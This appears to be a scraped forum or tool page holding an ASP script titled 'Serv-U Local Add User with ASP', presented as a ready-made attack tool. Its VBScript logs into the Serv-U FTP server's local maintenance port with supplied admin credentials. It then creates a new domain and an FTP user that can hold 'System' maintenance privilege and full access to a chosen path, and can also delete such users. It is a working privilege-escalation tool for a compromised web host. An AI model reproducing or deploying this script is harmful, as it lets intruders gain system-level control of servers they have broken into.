Serv-U TOOL

 

Serv-U Local Add User with ASP


 

Author: Xiao.K


 

 


   ------------------Serv-U Information------------------
  

  user:
   
   

    pwd :
   
   

  port:
 
 

  ---------------------Add User!!! ---------------------
 

 Domain:  
 
 

  FTP USER:
 
 

  FTP PASS:
 
 

  FTP PORT:
 
 

  FTP PATH:
 
 

  Privilege
 
 


 


   
   
   
    Add User
   
    Del User


 


   
 



   <%
user = request.Form("duser")
pass = request.Form("dpwd")
port = request.Form("dport")
domain = request.Form("domain")
fuser = request.Form("fuser")
fpass = request.Form("fpass")
fport = request.Form("fport")
fpath = request.Form("fpath")
privilege=request.Form("privilege")
select case privilege
   case 2:
  privilege="ReadOnly"
   case 3:
  privilege="Group"
   case 4:
  privilege="Domain"
   case 5:
  privilege="System"
  end select
 if request.Form("radiobutton") = "add" Then
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=" & domain &"|0.0.0.0|" & fport & "|-1|1|0" & vbCrLf & "-DynDNSEnable=0" & vbCrLf & "  DynIPName=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & fport & vbCrLf & "-User="& fuser & vbCrLf & "-Password=" & fpass & vbCrLf & _
        "-HomeDir=" & fpath & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
        "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
        "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
        "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
        "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
        "-Maintenance=" & privilege  & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=" & fpath &"|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf  
  '--------
  'On Error Resume Next
  Set xPost = CreateObject("Microsoft.XMLHTTP")
  xPost.Open "POST", " [url]http://127.0.0.1[/url]:"& port &"/secdst",True, "", ""
  xPost.Send loginuser & loginpass & mt & newdomain & newuser & quit
  Set xPost =nothing
  response.write "
FTP user "&fuser&"  pass "&fpass&" at port "& fport &"
"
 elseif request.Form("radiobutton") = "del" Then
 
  loginuser = "User " & user & vbCrLf
  loginpass = "Pass " & pass & vbCrLf
  mt = "SITE MAINTENANCE" & vbCrLf
  deluser =  "-DELETEUSER" & vbcrlf & "-IP=0.0.0.0" & vbcrlf & "-PortNo=" & port & vbcrlf & " User="& fuser & vbcrlf
  quit = "QUIT" & vbCrLf 
  Set xPost3 = CreateObject("MSXML2.XMLHTTP")
  xPost3.Open "POST", " [url]http://127.0.0.1[/url]:"& port &"/secdst", True
  xPost3.Send loginuser & loginpass & mt & deluser & quit
  Set xPOST3=nothing
  response.write "
FTP user "&fuser&"  pass "&fpass&" at port "& fport &" have deleted
"
 else
  response.write "
let's Start!!!
"
 end if

%>